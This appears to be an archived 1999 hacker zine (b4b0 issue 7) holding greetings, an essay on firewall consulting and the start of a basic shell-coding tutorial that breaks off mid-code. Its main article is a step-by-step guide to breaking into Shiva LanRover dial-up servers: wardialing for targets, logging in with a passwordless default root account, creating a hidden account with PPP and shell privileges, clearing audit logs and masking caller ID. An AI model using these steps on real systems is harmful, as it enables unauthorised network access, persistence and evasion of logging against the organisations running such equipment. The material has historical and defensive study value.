1
0
Fork 0
mirror of https://github.com/fdiskyou/Zines.git synced 2025-03-09 00:00:00 +01:00
Zines/b4b0/b4b0-07.txt
2017-12-10 21:54:57 +00:00

1892 lines
81 KiB
Text

[ x - The Liberation of Vice - x ]
_________ ______ _________ _________
/\ ___ \ /| \ /\ ___ \ /\ ___ \
/ \ \ /\ \ | | |\ \ / \ \ /\ \ / \ \ /\ \
\ \ \__\ \ | | |_\ \__\ \ \__\ \\ \ \ \ \
\ \ < | | \\ \ < \ \ \ \ \
\ \ ___ `\ |/\_____ _\\ \ ___ `\\ \ \ \ \
\ \ \ /\ \ / / \ \ \ \ \ /\ \\ \ \ \ \
\ \ \__\ \\/____ \ \ \ \ \__\ \\ \ \__\ \
\ \________\ \ \____\ \ \________\\ \________\
\ / / \ / / \ / / \ / /
\/________/ \/____/ \/________/ \/________/
s e v e n
the experience of new ideas and obtuse perspective
[ (c) 1999 The B4B0 Party Programme ]
[ Disrupting the classes of school ]
[ teachers around the world. ]
[TABLE OF CONTENTS]
(01). Introduction - [ph1x]
(02). Hacking the Shiva-Lan-Rover - [Hybrid]
(03). Womper Language Interpretor - [chrak]
(04). My Day in Age - [Rhinestone Cowboy]
(05). Coding a Shell From the Ground Up - [ph1x]
(06). The Art of Writing Shell Code - [smiler]
(07). The Telephone System/Network Part 1 - [pabell]
(08). Revolution Against the Catholic Church - [schemerz]
(09). bsaver.c Overview - [cp4kt]
(10). Conclusion - [ph1x]
Additional pieces included in this issue of b4b0 are...
[ bouncer.c ] ----------> intruderx
[ bsaver.c ] -----------> comp4ct and qytpo
[ carp.c ] -------------> comp4ct
[ carriers.txt ] -------> comp4ct
[ encrypt.c ] ----------> tragen
[ fbsd.tgz ] -----------> icesk
[ gh-cgi.c ] -----------> fred
[ misc.zip ] -----------> milcrat
[ w00f.c ] -------------> cossack and smiler
. -- ---b-4-b-0--r-e-v-o-l-u-t-i-o-n-a-r-i-e-z--- -- -
|
| ph1x ----------- -----> the chosen one
: jsb4ch ---- --- -------> the undecided one
. t1p ------- --------> acclaimed b4b0 admin
gr1p ----- -- - -------> he whose accent slays
. j\ ------ -- ---- -----> the freezing wonder
chr4k ----- ------ ----> the one who operates with a blown mind
comp4ct --- ------ ----> he whom claims to be a b4b0 saint
. p4bell ---- ------ ----> the one called the golden child
coss4ck ---------------> the one of proclamation
sm1ler ----------------> he who is emotionally content
. -- ---b-4-b-0--w-r-i-t-e-r-s--a-n-d--o-t-h-e-r--p-e-r-v-e-r-t-s--- -- -
|
| icesk emf zayten
: pG schemerz jnz
Hybrid assem polder
. Qytpo e- rhinestone cowboy
samj
.
--- Official IRC channel -> Efnet / #!b4b0 (not #b4b0)
--- Most Idiotic Site Ever -> http://www.anticode.com
--- Irc Chick of the Month -> MostHated
--- Greets to -> #!animalcrackers, rhino9, samj's mom, duke,
horizon, LJ & Falon, HNN, those who have helped
us and that we forgot about *sorry*, chixy and
miah of the netcis crew (some of us started
there!), and the NRA
--- Interesting Fact -> The now Irc fad of saying "HEH" was invented
in #b4b0. So we must require you to say the
following when using HEH:
<somenick> HEH (c) b4b0 1999
--- P.S. -> We need more supporters who will write things
for us other than inetd backdoors. Submit your
article/code/remarks/ascii submissions@b4b0.org
- -- ---> interesting <--- -- -
-- -- > http://www.babousa.org - baltimore academy for behavioral optometry
-- -- > http://www.babo.com - best gossip in korea!
-- -- > http://www.babo.com.au - babo morganti and partners
-- -- > http://www.babo.net - those wacky germans
-- -- > http://www.babo.org.uk - british association of balloon operators
-- -- > http://www.alvo.com/tvbabo - babo tv
-- -- > http://www.valhallabrewing.com/dboard/babo2000.htm - bay area brew-off
-------------------------------------------------------------------------------
!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!
-------------------------------------------------------------------------------
Greatest movie of all time, "Gummo":
I walked into the fruit market today, the clerk thought I was some out of
town hick. "Those apples will be 2 dollars a piece." He tells me. This is
where I outsmarted him. I hand him a 5 dollar bill, and just as he's handing
me a dollar change, I say... "keep it, were even." On the way out, I stepped
on a grape.
******************************************************************************
[INTRODUCTION]
******************************************************************************
We have had several people who have taken charge as editor for this issue,
but have not followed through with there responsibilities. Therefore, me
(ph1x) the unreliable drug addict has been chosen to get all of the
submissions together and put together a nice issue with good quality reading
material. I have miraculously managed to do so, so read to your hearts desire,
and enjoy this issue. HEH!
PS. I apologize for the extreme lateness of this issue, it's just
that jsbach *cough* I mean... various people said they were
going to write articles, and never did. =)
-x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x-
<b4b0!b4b0!b4b0> Hacking the Shiva-LAN-Rover System <b4b0!b4b0!b4b0>
-x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x-
By Hybrid (th0rn@coldmail.com)
April 1999
Contents:
1. Introduction
2. What can Shiva lan rovers do?
3. The command line
4. System security
5. PPP
1. Introduction
Shiva systems are becoming increasingly popular in the LAN networking world.
If like me you have done quite alot of scanning you would have come accross a
login prompt similar to this: [@ Userid:] If you have never seen this before,
take a look at some of the 9x scans at www2.dope.org/9x. In this file I am
going to fokus on the security strengths and weaknesses of the ShivaLanRover
networking system, and give a general overview of what can be done with such
systems. The Shiva system is a network security problem in it's own right, in
the sense that once you have gained access to one of these platforms, you
have the opotunity to explore the entire network on which the system is
based, in essance, you are on the trusted side of the firewall. If you would
like a copy of the ShivaLanRover software just FTP to ftp.shiva.com or get it
via the WWW.
To find a Shiva, the first thing you should do is dust off that old wardialer
program, and start scanning local or toll-free prefix assignments, if you
can't do this, you suck, go away. You will know when you have found a Shiva
when you are confronted with the following prompt:
@ Userid:
or if Radius authentification is enabled:
Starting Radius Authentification....
@ Userid:
Blah, ignore the radius authentification thing for now, it's just a lame
attempt to make the system look as if it has been secured, in most cases the
sysamin would have missconfigured the authentification and you will be
supprised as to how easy it is to get in. So you are at the login prompt,
what next? - As in most OS's Shivas have a nice set of default logins, so the
sysadmins poor setup is your gain. Try this: login: <root> pass: <NO PASS>.
The root login will work 9 times out of 10. The reason that the root account
works alot is beacuse in some cases the admin is not even aware the account
even exists! Most of the system setup is done via the main terminal, so the
admin does'nt have to login. the root account is not listed in the userfile
database, so most admin's overlook it. In some cases the admin would have set
up there own acount with somthing like <admin> <password> but if the admin
has any common sense you will not get in with that. Like most OS's, Shiva
systems have an audit log, so don't sit there trying to brute force anything,
once you are in, you can clear the system log, but more on that later. OK,
you've found a Shiva, you've loged on as <root> <no password>, now what? -
read on.
Once logged in, you will be droped into the Shiva command line prompt, which
should look somthing like this:
Shiva LanRover/8E, Patch 4.5.4p6 98/06/09 (Version and type of Shiva)
ShivaLanRover/8E# (The command prompt. Can be configured to say anything)
To get a list of the available commands type <help> or <?> this will reveal a
menu similar to this:
ShivaLanRover/8E# ? <enter>
alert Send text alert to all dial-in users
busy-out line <number> Busy-out serial line modem
clear <keyword> Reset part of the system
comment Enter a comment into the log
configure Enter a configuration session
connect <port pool> Connect to a shared serial port
crashdump Write crashblock to log
disable Disable privileges
help List of available commands
initialize <keyword> Reinitialize part of the system
lan-to-lan <keyword> Manage LAN-to-LAN connections
passwd Change password
ping <IP host> Send ICMP echo to IP host
ppp Start a PPP session
quit Quit from shell
reboot Schedule reboot
show <keyword> Information commands, type "show ?" for list
slip Start a SLIP session
telnet <IP host> Start a Telnet session
testline Test a line
The first thing you should do is check to see who is online, at the # prompt
use the show command to reveal the list of current online users:
ShivaLanRover/8E# show users <enter>
Line User Activity Idle/Limit Up/Limit
1 jsmith PPP 0/ 10 0/ None
2 root shell 0/ 10 0/ None
Total users: 2
So here we see ourselves loged in on line 2, and a PPP user on line 1. Note
that most of the time users are not configured to be allowed remote dialin
PPP access, so the user jsmith is probably at a terminal on the LAN. Now you
can see who is online, ie- check the admin is not loged in. Now you need to
get a rough idea of the size of the system and it's network. At the # prompt
type:
ShivaLanRover/8E# show lines <enter>
Async Lines:
Line State Rate/P/Stop/ RA|DCD|DSR|DTR|RTS|CTS|Fr errs| Overruns|PErrs
1 IDLE 57600/N/ 1/ |OFF|ON |on |on |ON | 0| 0| 0
2 CHAR 57600/N/ 1/ |ON |ON |on |on |ON | 2| 0| 0
3 IDLE 57600/N/ 1/ |OFF|ON |on |on |ON | 0| 0| 0
4 IDLE 57600/N/ 1/ |OFF|ON |on |on |ON | 0| 0| 0
5 IDLE 57600/N/ 1/ |OFF|OFF|on |on |OFF| 0| 0| 0
6 IDLE 115200/N/ 1/ |OFF|ON |on |on |ON | 0| 0| 0
7 IDLE 57600/N/ 1/ |OFF|ON |on |on |ON | 0| 0| 0
8 IDLE 115200/N/ 1/ |OFF|ON |on |on |ON | 0| 0| 0
Here we see a list of the modem ports, as you can see it has 8, this is about
average for most Shiva systems. So now we know how many serial lines there
are, we need to get a rough idea as to how big the network itself is, to do
this type:
ShivaLanRover/8E# show arp <enter>
Protocol Address Age Hardware Addr Type Interface
Internet 208.122.87.6 4m x0-x0-B0-2x-Dx-78 ARPA Ethernet:IP
Internet 208.122.87.4 4m AA-0x-x4-00-0C-04 ARPA Ethernet:IP
Internet 208.122.87.5 4m Ax-00-04-0x-xD-x4 ARPA Ethernet:IP
Internet 208.122.86.4 10m AA-x0-04-00-0C-04 ARPA Ethernet:IP
Internet 208.122.86.40 0m AA-00-04-00-x1-04 ARPA Ethernet:IP
Internet 208.122.86.147 4m 00-80-5x-31-F8-Ax ARPA Ethernet:IP
Internet 208.122.86.145 4m 00-80-5x-FE-C9-x8 ARPA Ethernet:IP
Internet 208.122.86.200 0m 00-x0-A3-xF-21-C8 ARPA Ethernet:IP
Internet 208.122.86.51 4m 00-x0-B0-01-36-3x ARPA Ethernet:IP
Showing the arp cache reveals some of the connected boxes to the LAN, aswell
as ethernet address, and type of protocol. Now we have established the kind
of system we are on, it's time to do some exploring, which is where I shall
begin this text file.
2. What can Shiva lan rovers do?
Shiva LanRover systems are very big security weaknesses if installed on any
network. The reason for this is that some of the default settings can be
easily overlooked by the admin. A Shiva system can be configured to provide
a wide variety of network services, some of which are listed here:
PPP (point-to-point protocol) This is the key to gaining access to the
network on which the Shiva is based upon, in most cases the network will have
an internal DNS server, and if you are lucky, the network which the system is
based will be connected to the internet. Hint hint, PPP, toll-free. But just
using a Shiva for free net access would be boring, which is why I am going to
discuss the other features of Shivas.
Modem Outdial. In alot of cases the system would have been configured to
allow modem outdialing which can be good for calling BBS's, diverting to
other dialups, scanning, but again, this is lame, just using a Shiva for
modem outdialing is boring, use your imagination. If you manage to get a PPP
connection, and the system is net connected, you could get online, and at the
same time call your favourite BBS. I'll explain how to do all of this later.
Telnet, ping, traceroute etc. These are the command line tools which will
enable you to determine whether the system is connected to the internet or
not. More on this later.
It's time to go into detail about all of the Shivas functions and commands, I
will concentrate on what you can do with root access, because that is the
only account you are likely to gain access to.
3. The command line
When loged into the Shiva shell, you have the following commands at your
disposal:
alert (Send text alert to all dial-in users) - Self explanitory.
busy-out uart <call-interface> (Busy-out UART port)
clear <keyword> (Reset part of the system)
The clear command is a nice feature of the Shiva system. The first thing you
should do when on a Shiva is make sure you erase all logs of your commands
and login times etc.. to do this all you need to do is type <clear log> This
will erase and reset the audit log, and also any invalid logins to the Shiva.
There are also other clear commands such as <clear arp> etc, but these will
all cause system problems and get you noticed, best leave this alone for the
time being.
comment (Enter a comment into the log)
configure (Enter a configuration session)
Heres the part where you can get the system to do what you want it to do, ie-
to get a PPP connection you will need to set up another account with shell
and PPP privalages. The root account does not allow PPP connections, so here
is where you will need to do your stuff. To get anywhere with a Shiva you
need to create a new account, using the config command you can create a new
user account with greater privalges than root. Before you make a new account
it is a good idea to see what kind of setup the other accounts have on the
system, you don't want to make an account that will stick out from the other
accounts, so type:
show security <enter> (this gives a list of the security configuration and
the user list.) you should see somthing like this:
[UserOptions]
PWAttempts=0
ARARoamingDelimiter=@
ExpireDays=30
GraceLogins=6
[Users]
admin=/di/do/rt/pw/sh/pwd=hH8FU4gBxJNMMRQ0yhj5ILUbaS/ml=3/fail=1/time=425
jsmith=/di/pw/pwd=.b9BJFBhuA1vuqFa9s8KBlxmngZ/ml=2/time=897646052
mjones=/di/pw/pwd=kRaOhlyT7CKMBldLVBVbektbCE/ml=2/fail=5/time=897646052
user911=/di/pw/pwd=7Xkq8TOwB4juRI51OHkDVVos8S/ml=2/time=910919159
another=/di/pw/pwd=YhzD6KBUB7Lh2iKKKSWxuR0gx7S/ml=2/fail=7/time=90767094|9
jadmams=/di/pw/pwd=ET0OhPyT7CyMBldLLKVbektbCE/ml=2/time=902262821
msmith=/di/pw/pwd=sDV1Jxo8QJncIRcl9eoVO6SKBE/ml=2/time=897646052
dsmith=/di/pw/pwd=pv8OhPyT45CyMBldLSKVbektbCE/ml=2/time=897646052
padacks=/di/pw/pwd=HoDVw5MqTM*oTL69tBehqt7tiS/ml=2/time=897646052/grace=1
ljohnson=/di/pw/pwd=r.y9NJbrCWKfsSeu9FbfJpAIzZ/ml=2/time=897646052
Here we get a list of the configured users on the system. As you can see the
admin has made him/herself their own account, while other users have accounts
that allow logins via their terminals, but not remotely. In the above example
all the users have been assigned passwords, so it would be a good idea when
you make your own account to have one aswell. The idea is to make an account
that will blend in with the others and not look to obvious. The passwords in
the external user list are all 3DES (triple DES) encrypted. The type of user
account set up is determined by the options, such as jsmith=/di/do etc, more
on these functions in a bit. OK, now we need to set up our own account, to do
this we need to enter a configuration session, at the command line prompt
type: ShivaLanRover/8E# config <enter>
You will then drop into the configuration session.
Enter configuration file lines. Edit using:
^X, ^U clear line
^H, DEL delete one character
^W delete one word
^R retype line
Start by entering section header in square brackets []
Finish by entering ^D or ^Z on a new line.
config> (here is where you enter the config commands, to make you own account
do the follwing)
config> [users]
config> username=/di/do/sh/tp/pw
config> ^D <------ (type control D to finish)
Review configuration changes [y/n]? y
New configuration parameters:
[users]
username=/di/do/sh/tp/pw
Modify the existing configuration [y/n]? y
You may need to reboot for all changed parameters to take effect.
You've just created your own user account which you can use for PPP
connections etc. To begin with your account is un-passworded, so when you log
back in just hit enter for your password, you can later change this. The /sh
part of the user configuration means you can remotely log into the command
shell, /pw means you have the ability to define your own password, if you
wanted to give yourself another root account, you would use the switch /rt.
In combination with the show config command you can also alter other system
configurations via this method, although it is a very good idea not to
alter anything. Now your account has been set up, all you do is re-connect to
the system and login as your username, more on this later.
connect <PhoneGroup pool> (Connect to a serial port or modem)
This is another one of the good features of Shivas, you can remotely control
a series of modems on the system, and in alot of cases dialout. If you want
to call a BBS, note you cannot upload using Zmodem or similar protocols,
although you would be able to download, but expect a few CRC checksum errors.
To connect to a modem type: connect all_ports <enter> you will then drop into
one of the modem pools, as follows:
Connecting to Serial2 at 115200 BPS.
Escape character is CTRL-^ (30).
Type the escape character followed by C to get back,
or followed by ? to see other options.
(here basic modem commands are nessasary, use the follwing to dialout)
ATZ (initialise modem)
ATDTxxxxxxxxx (atdt then phone number) note in some cases the modem outdial
with be based upon the system PBX, so sometimes you will have to figure out
the outdialing code, which should be somthing simple like dialing a 9 before
the number you want to connect to. To disconnect from the outdialing session
type control C, or ^C. This will take you back to the command line. As with
the other system events, outdialing is loged into the audit file, along with
the number you called. It is generaly a good idea to clear the audit log
after things like PPP or dialout, again just type clear log <enter>.
cping <IP host> (Send continuous ICMP echoes to IP host)
crashdump (Write crashblock to log)
detect (Detect the configuration of an interface)
disable (Disable your root privaleges)
dmc <keyword> (Information commands, type "dmc ?" for list)
down <slot> <firstmodem> (last Remove modems from CCB pool)
info <slot> <modem> (Print info for specified modem)
mupdate <slot> <firstmodem> (l Update Rockwell modem FW)
state (Print state of a modem)
status (Print status of all modems)
trace (Trace message passing)
up <slot> <firstmodem> (lastmo Add modems to CCB pool)
test_1slot <slot> (Tests DMC card in slot specified)
test_allcards (Tests all DMC cards found in system)
test_golden <golden slot> (Tests all DMC cards against a Golden DMC)
test_loopall <count 0-99> (Tests All DMC's for count)
test_modempair <slot1> (modem1 Tests modems against each other)
test_slotpair <slot1> <slot2> (Tests a DMC card against another)
test_xmitloop <s> <m> <s> <m> (Tests modem pair for count)
help (List of available commands)
history (List of previous commands)
initialize <keyword> (Reinitialize part of the system)
l2f <keyword> (L2F commands)
close <nickname> (Close tunnel to L2F HG)
login (Start L2F session)
tunnels (Show open tunnels)
lan-to-lan <keyword> (Manage LAN-to-LAN connections)
passwd (Change password)
ping <IP host> (Send ICMP echo to IP host)
ppp (Start a PPP session)
quit (Quit from shell)
reboot (Schedule reboot)
route <protocol> (Modify a protocol routing table)
rlogin <IP host> (Start an rlogin session)
show <keyword> (Information commands, type "show ?" for list)
show+
account <keyword> (Accounting information)
arp (ARP cache)
bridge <keyword> (Bridging information)
buffers (Buffer usage)
configuration (Stored configuration, may specify sections)
the show config command will reveal all the system configuration setups,
includings DNS server information, security configurations, IP routing etc.
It will also show the internal IPs of radius authentification and TACAS
servers.
show+
finger (Current user status)
interfaces [name1 [name2 ... ] (Interface information)
ip <keyword> (Internet Protocol information, type "show ip ?" for list)
To get an idea of the routing information, and again how big the network is
type, show ip route. This will bring up a routing table, and again give you
an idea as to where the connected boxes are, it is a good idea to note the IP
prefixes.
show+
lan-to-lan (LAN-to-LAN connections)
license (Licensing information)
lines (Serial line information)
log (Log buffer)
The show log command will display the system audit log in more format. Here
you will be able to see what is going on on the system, ie- is it primarily
used for PPP, dialout etc. If users use the system for outdialing, you can
even see the numbers that they dial. Here is a cut down example as to what
you wiuld see in a system log file:
Mon 15 16:24:29 GMT 1998 4530 Serial4: "krad" logged in
00:01 4531 Serial4:PPP: Received LCP Code Reject for code 0D
00:01 4532 Serial4:PPP: Received PPP Protocol Reject for IPXCP (802B)
00:00 4533 Serial4:PPP:IP address xx.xx.xx.xx dest xx.xx.xx.xx bcast
00:00 4534 Serial4:PPP: IPCP layer up
00:04 4535 Serial4:PPP: CCP layer up
14:09 4536 Serial4:PPP: IPCP layer down
00:00 4537 Serial4:PPP: CCP layer down
00:00 4538 Serial4:PPP: LCP layer down
00:01 4539 Serial4:PPP: CD dropped on connection
00:00 4540 Serial4: "krad" logged out: user exit after 14:17 (Dial-In PPP,)
00:06 4541 Serial4: Rate 115200bps
00:00 4542 Serial4: Modem string 'AT&FW1&C1&D3&K3&Q5&S1%C3\N3S95=47S0=1&W'
00:01 4543 Serial4: Initialized modem
04:56 4544 setting time of day from real-time clock to Wed Nov 25 16:43:44
18:27 4545 Serial4: New Dial-In session
00:00 4546 Serial4:PPP: LCP layer up
00:00 4547 Serial4: "krad" logged in
00:01 4548 Serial4:PPP: Received LCP Code Reject for code 0C
00:00 4549 Dialin:IPX configured net 9823O049
00:00 4550 Serial4:PPP: IPXCP layer up
00:00 4670 Serial4: New Command Shell session
00:03 4671 Serial4: "root" logged in
01:38 4672 Serial4: "root" logged out: user exit after 01:42 (Command Shell)
00:06 4673 Serial4: Rate 115200bps
00:01 4674 Serial4: Modem string 'AT&FW1&C1&D3&K3&Q5&S1%C3\N3S95=47S0=1&W'
00:00 4675 Serial4: Initialized modem
55:11 4676 Could not parse IP SNMP request.
In the system log, you will also see invalid login attempts, error messages,
and general system events. Because the log file logs everything, it is a good
idea to erase your own presence in it.
show+
modem <keyword> (Internal modem information, type "show modem ?" for list)
netbeui <keyword> (NetBeui information, type "show netbeui ?" for list)
novell <keyword> (NetWare information, type "show novell ?" for list)
ppp (PPP multilink bundles and links)
processes (Active system processes)
security (Internal userlist)
semaphores (Active system semaphores)
slot <keyword> (Internal serial slot information, type "show slot ?" for list)
upload (Upload information)
users (Current users of system)
version (General system information, also shows DNS info)
virtual-connections (Virtual Connection information)
slip (Start a SLIP session)
telnet <IP host> (Start a Telnet session)
tftp (Download new image, ie- system config files)
tunnel <IP host> (Start a Tunnel session)
wan [action] <wan interface> (Perform actions on WAN Interface)
4. System security
Shivas can be very weak on security, due to the exposed root account. If the
system is configured properly they can be very secure systems, although this
is usually not the case. There are many security options for the Shiva system
including Radius Authentification, SecurID, TACAS, and just the standard
secured login. In some cases an admin will use a secondary server to act as
the Radius Authentification. In this case, the setup would look somthing like
this.
[RADIUS Authentification Server] } The server contains a secured user
| list, which will be used to verify
| login requests. The login is
[Router] determined if the user can be
| | verified by the server.
| | } The Shiva sends the login request to RADIUS.
[Shiva System] } Starting Radius Authentification... @ Userid:
Sometimes a system will be configured to work with a number of different
Shivas on a network. For example, using the same idea as above, but without
the Radius server, a secondary shiva may be installed to act as the security
server, whereas all other Shiva systems refer to it for user login
verification. This can be a real bitch if you have loged into a system, but
the above setup has been implemented. For example, say you loged in as root,
and you want to set up a PPP account. The first thing you would do is check
to see what kind of setup existing users have by typing <show security> If
the verification server has been setup, there will be no users in the user
list, instead you have to find the network location of the verification
server, and hope it has an un-passworded root account on it. To find the
verification srever, or primary Shiva, just use the show config command. you
can then telnet from the Shiva you are on, to the Shiva displayed in the
config file, you should then get the @ Userid: login screen again, try root
no pass, if this does not work, it is possible to temorarily configure your
own server on the network, but this would mean other users will not be able
to login, so leave this alone. If you do manage to login to the server as
root, you have to setup your user account there, because that is where all
the Shivas on the network refer to in order to verify users, this way the
admin only has to maintain one user configuration file.
5. PPP
Once you have setup a user account with shell and PPP privaleges, you can
begin exploring the network on which the Shiva is based upon. If the network
is net connected you can get free net access aswell, but this is quite risky,
especially if the admin notices PPP sessions active at 4am, with destinations
such as irc.ais.net:6667. When you first establish a PPP connection to a
Shiva server, the first thing you should do is map out the network. To do
this just run a network, or port scanner accross the domain which the Shiva
is on. As on most networks, you are likely to come accross a variety of
different boxes, such as UNIX boxes, SunOS, shared printers, mail servers,
cisco routers, in one case someone I know found an Amiga box@$!. If the
network is net connected, it is a good idea to use your shell for any net
connections, such as IRC. Once you have an external net connection from a
Shiva it is also possible to similtaniously dialout accross the PSTN to a BBS
or any other system. To do this, you would have to find the network address
of the Shiva server you are on, then telnet back to it and re-login. using
the <connect all_ports> command will give you control over the system modems,
then you can dialout as if you where in terminal mode. If the Shiva you are
on is located on a toll-free number, or even local, it is not a good idea to
use it for net access, or stay on it for a long time. If you must use a Shiva
for net access, it is a good idea to use your PSTN routing skills, and not
dialup to the system directly. The mistake people make when it comes to ANI,
or CLID is that they think only 800 numbers have ANI, and residential numbers
have CLID. This is *wrong* the ANI service can be setup by anyone, it's a
choice, not a standard. If you want to route your call, the best thing to do
is route internationaly, so your origionating clid gets striped at intralata
boundarys on the PSTN. A technique, which I don't wanna give out involves
trunk and carrier hoping. We'll thats about it for this file, hope you
enjoyed it. If you want more information on the Shiva Lan Rover system, just
check out shiva.com, they will have technical guides in pdf format, you can
also download the shiva software from their ftp site.
Shouts to the following:
[9x] substance phriend siezer vectorx statd
blotter knight network specialK microdot
katkiller xramlrak bosplaya deadsoul and
nino the 9x g1mp.
[b4b0] gr1p t1p. #9x #darkcyde Efnet.
backa xio.
[D4RKCYDE] downtime elf zomba force mortis
angel dohboy brakis alphavax
tonekilla bishopofhell sintax
digitalfokus mistress.
-x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x-
<b4b0!b4b0!b4b0> Womper Language Interpretor, by chrak <b4b0!b4b0!b4b0>
-x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x-
This is a neat language interepor by chrak, that is still in developement.
Check out /w0mper, and make sure to read Example.sh to see a set of example
code.
* NOTE * this isn't quite finished and hopefully chrak will come through
with more releases. Thank you.
-x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x-
<b4b0!b4b0!b4b0> My day in Age, by Rhinestone Cowboy <!b4b0!b4b0!b4b0>
-x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x-
I had an epiphany the other day. It wasn't the kind of flash of
insight that makes you shave your head, move to the desert, and change
your name to something that sounds like an astronomical phenomena, but
I do think it's something that other people need to hear. You see, I
am a professional consultant, and with this project, I became a man.
I was tasked with building a firewall for a healthcare facility. This
wasn't very difficult, and, apart from the planning phases and alot of
mostly useless meetings, it got built in a day or two. All the exceptions
were put in place, and the LAN was protected to a dgree to which it
had never been protected before. All was right with the world...
... Until the client got involved. It started with a simple request.
"Could you please open up telnet services in the firewall to this one
particular Solaris box? We have a few outside consultants who need to
get into that box so they can work remotley. In particular, we have a
user from an educational facility who needs remote root access."
I objected, of course, but I was then informed that it was the
opinion of the IS staff, that this was an "acceptable risk." This wasn't
an opinion that could be justified by anyone, especially after they
shelled out countless thousands of dollars on a "network security solution".
It got a little worse, of course. About a week later, I uncovered a
bug in there web front end to their database. Instead of praise, I got
what I should have expected, exchanges like the following:
"Only people who subscribe to this database should have access. Now you
are telling me that ANYONE on the net can get this data for free? What
the hell is that firewall doing?"
"The firewall is doing it's job. The problem is that your web app. Never
asked me for anything like a password. It just gave me access. It
really wasn't complicated at all. A fireall simply cannot fix your buggy
software.
"Firewalls make computers secure. This computer isn't secure. Obviously,
the fireall you made, doesnt work."
He just didn't get it. I would have been more then happy to spend the
time to audit all the machines individually, apply the proper patches,
and fix any configuration errors that may rear their ugly heads, if the
client was willing to pay for my time. Hell, i'd even work hard!
Unfortunatley, the client didn't want to hear that. He wanted his "magic
bullet, " and if I wasnt willing to provide it, he'd hire another consulting
company to do it.
It then occurred to me, that this senario is being played out all
over the net, and it's alot bigger then I had previously realized. I was
playing a part, so was the IS director, so was my company, and so was the
firewall.
Corporate America is all about "covering your ass." No one wants
accountability for anything. If bullshit and 'passing the buck' were the
keys to world domination, the USA would be the world's only super power.
Wait, never mind...
Anyway, this is what hit me. Firewalls do alot more then filter
packets and give IS gimps a warm fuzzy feeling when they go home at night.
Firewalls manage to almost universally remove any traces of accountability
in corporate security. As in the above example, if, I mean when, someone
sniffs the root password and usese it to compromise the LAN, the IS depart-
ment can pretend that they weren't at fault. They can pass the buck to me
or my company. Fortunatley, there is a contract protecting us from lawsuits
of that nature. If necessary, the buck can even be passed, either by my
company or the clients, to the vendor. Even they can pass the buck, since
any rational person would realize that they weren't involved in this
morass.
The myth of the "fireawall as a magic bullet" is some of the most
useful bullshit ever spun. It allows everyone to sleep easier at night
and make alot of money. Of course, the buck ultimately stops getting
passed by another piece of bullshit, the myth of "the genius hacker." I'm
not saying that there aren't some genuinely brilliant people breaking into
computers these days, but chances are they aren't relying on a 5 year old
sniffer running on a SunOS 4.1.3 box in an .edu site, which is silly
enough to have a guessable NIS mapname.
The world is very broken. We have security products that either
simply don't work, don't work up to the impossible expectations put on them
, or even introduce furthur holes in hosts and networks they are suppose
to be protecting. We also have a world of corperate IS managers, mostly
incompetent "security consultants", and talentless bullshit artists
who manage to social engineer their way into six figure incomes because
they are "reformed hackers."
It would be nice if some kind of messiah of the computer age were to
come along and make it all better. Unfortunately, that's not going to
happen. If there was such a person, we'd either nail him to a cross or he
would opt for the huge paycheck which comes with playing a part in the
system. I suspect I have finally entered into adult life, because I have
little or no desire to change an awfuld system that I can not fix. There
are quite a bit of rewards for being as corrupt as everyone else. So here
is the choice facing us all, either sit down at the table of corruption
and shared guilt and get paid alot (basically sell out) or fight a
hopeless battle against American corporate culture. I think adulthood is
really choosing to play in the "bullshit playground" with the rest of
the grownups. Today, I am a man.
Rhinestone Cowboy
-x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x-
<b4b0!b4b0!b4b0> Coding a Shell from the Ground Up, by ph1x <b4b0!b4b0!b4b0>
-x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x-
This article I am going to discuss what a shell is, how a shell works
and were going to build a shell from the ground up.
For all source were going to be writing today, we will need b4b0shell.h
included below.
Let's get started. A shell is a program that does command
interpretation. A shell can also be reffered to as a command processor,
as most DOS users know. It reads input, then executes the command.
The execution of a command, is basically creating a child process for
the execution. For example, the shell will fork() a child process to
execute the command. The parent (the shell) will then wait for its child
to finish before it reads another command. Before we start coding, make
sure your using the following header file in all of your codez.
/**********************************/
/* Header file for the b4b0 shell */
/* Extrapolated from ush.h, and */
/* added onto. ph1x@b4b0.org */
/**********************************/
/*
NOTE: We won't be making use of this whole header file today
our shell is not going to have the complexity of your
standard unix shell that you use from a daily to daily
basis.
*/
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <sys/wait.h>
#include <limits.h>
#define STDMODE 0600
#define DELIMITERSET " ><|&" // we are only going to add redirection to
// our shell, not background or pipe support
#ifndef MAX_CANON
#define MAX_CANON 256
#endif
#define TRUE 1
#define FALSE 0
#define BLANK_STRING " "
#define PROMPT_STRING "b4b0$"
#define QUIT_STRING "quit"
#define BACK_STRING "&" // for background process
#define PIPE_STRING "|" // pipe support
#define NEWLINE_STRING "\n"
#define IN_REDIRECT_SYMBOL '<' //redirection
#define OUT_REDIRECT_SYMBOL '>' // symbols
#define NULL_SYMBOL '\0'
#define PIPE_SYMBOL '|'
#define BACK_SYMBOL '&'
#define NEWLINE_SYMBOL '\n'
int makeargv(char *s, char *delimiters, char ***argvp);
int parsefile(char *inbuf, char delimiter, char **v); // this will return
// the token following delimiter if its present in *s.
int redirect(char *infilename, char *outfilename); // performs redirection
int connectpipeline(char *cmd, int frontfd[], int backfd[]);
/*************************-=EOF=-******************************/
First we will write an extremely basic command interpreter,
just for you to get a basic idea as to how a shell calls
a child process to execute commands, and for you to experiment
with.
---------------------------bsh v1.0-----------------------------------
#include "b4b0shell.h"
#define MAX_BUF 500
void main(void) {
char input[MAX_BUF];
char **rargv;
while(1) {
